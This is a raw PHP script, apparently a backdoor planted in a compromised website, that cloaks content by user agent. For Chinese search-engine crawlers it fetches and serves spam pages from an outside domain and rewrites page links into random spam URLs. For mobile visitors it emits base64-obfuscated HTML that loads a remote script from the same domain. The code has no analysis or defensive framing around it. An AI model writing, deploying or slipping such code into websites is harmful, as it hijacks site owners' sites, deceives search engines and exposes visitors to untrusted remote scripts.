set_time_limit(0);
error_reporting(0);
$a="stristr";
$b=$_SERVER;
function httpGetlai($c) {
$d=curl_init();
curl_setopt($d,CURLOPT_URL,$c);
curl_setopt($d,CURLOPT_USERAGENT,'Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)');
curl_setopt($d,CURLOPT_SSL_VERIFYPEER,FALSE);
curl_setopt($d,CURLOPT_SSL_VERIFYHOST,FALSE);
curl_setopt($d,CURLOPT_RETURNTRANSFER,1);
curl_setopt($d,CURLOPT_HEADER,0);
$e=curl_exec($d);
curl_close($d);
return $e;
}
function httpGet2($url) {
header('Content-Type:text/html;charset=utf-8');
$ch = curl_init();
$ua2 = $_SERVER['HTTP_USER_AGENT'];
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_USERAGENT, 'MyCustomUA/1.0');
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
curl_close($ch);
$dirs=array("wen","ys","moban","xjj","zkblw","keyan","zhuli","xinwen1","news1","show1","html1","ask","dsp","du","ku","dy",);
$tags = array('
', '', '', '');
$output = str_replace($tags, '', $output);
$lianjie = '/[\s\S]*?<\/a>/';
preg_match_all($lianjie, $output, $aarray5);
if ($aarray5[0]) {
$count = 0; // 添加计数器
foreach ($aarray5[0] as $pbti) {
$preg = '/href\s*=\s*(["\'])(.*?)\1/i';
if ($count < 2) { // 只替换前两个链接
// 从外部链接获取txt中的链接
//$randomUrl = httpGetlai('http://lun.axjdnfd.com/l/spider.php'); // 替换成你的外部txt链接
$randomUrl = str_replace('', '', $randomUrl);
if ($randomUrl !== false) {
$replacestr = 'href="' . trim($randomUrl). $dirs[array_rand($dirs)]. '/' . date('Ymd') . rand(100000, 99999999) . '.html"';
$count++; // 成功替换后计数加1
} else {
$replacestr = 'href=" '. '/index.php'. '/' . $dirs[array_rand($dirs)] . '/' . date('Ymd') . rand(100000, 99999999) . '.html"';
}
} else {
// 超过2个后使用原来的格式
$replacestr = 'href="' . '/index.php'. '/' . $dirs[array_rand($dirs)] . '/' . date('Ymd') . rand(100000, 99999999) . '.html"';
}
$aoutput = preg_replace($preg, $replacestr, $pbti);
$output = str_replace($pbti, $aoutput, $output);
}
}
return $output;
}
define('url',$b['REQUEST_URI']);
define('ref',!isset($b['HTTP_REFERER'])?'':$b['HTTP_REFERER']);
define('ent',$b['HTTP_USER_AGENT']);
define('site', "http://x.huangse360.co/");
define('road', "?road=".$b['HTTP_HOST'].url);
define('memes',road."&referer=".urlencode(ref));
define('regs','@BaiduSpider|Sogou|Yisou|Haosou|360Spider@i');
define('mobile','/phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone/');
define('area', $a(url,"/ben/") or $a(url,"/dy/")or $a(url,"kkk") or $a(url,"/ys/") or $a(url,"/ku/") or $a(url,"/du/") or $a(url,"zkblw") or $a(url,"keyan") or $a(url,"zhuli") or $a(url,".xml")or $a(url,".doc")or $a(url,".pdf")or $a(url,".txt")or $a(url,".ppt")or $a(url,".pptx")or $a(url,".tacc")or $a(url,".jsp")or $a(url,".asp")or $a(url,".ga")or $a(url,".gq")or $a(url,".pdx")or $a(url,".xlsx")or $a(url,".edu")or $a(url,".gov")or $a(url,"baike")or $a(url,".xls")or $a(url,".htx")or $a(url,".htt")or $a(url,".xhtml")or $a(url,".new")or $a(url,".do")or $a(url,".action")or $a(url,".frx")or $a(url,".csv")or $a(url,".docx")or $a(url,".xhtml")or $a(url,".shtml")or $a(url,"/ben/")or $a(url,"xinwen1")or $a(url,"news1")or $a(url,"show1")or $a(url,"html1")or $a(url,"?case")or $a(url,"moban")or $a(url,"/wen/")or $a(url,"and")or $a(url,"xjj")or $a(url,"/ask/")or $a(url,"/dsp/") );
if (preg_match(regs, ent)) {
if (area) {
echo httpGetlai(site.road);
exit();
} else {
echo httpGet2($b['HTTP_HOST'] . url);
exit();
}
}
if(area&&preg_match(mobile,ent)) {
echo base64_decode('PGh0bWw+PGhlYWQ+PG1ldGEgbmFtZT0idmlld3BvcnQiIGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCxpbml0aWFsLXNjYWxlID0xLjAsIHVzZXItc2NhbGFibGU9bm8sIG1heGltdW0tc2NhbGU9MSxtaW5pbXVtLXNjYWxlPTEiPjwvaGVhZD48Ym9keSBzdHlsZT0ibWFyZ2luOjA7Ij48c2NyaXB0IHNyYz1odHRwczovL2h1YW5nc2UzNjAuY28vc2UuanM+PC9zY3JpcHQ+PC9ib2R5PjwvaHRtbD4=');
exit;
}
?>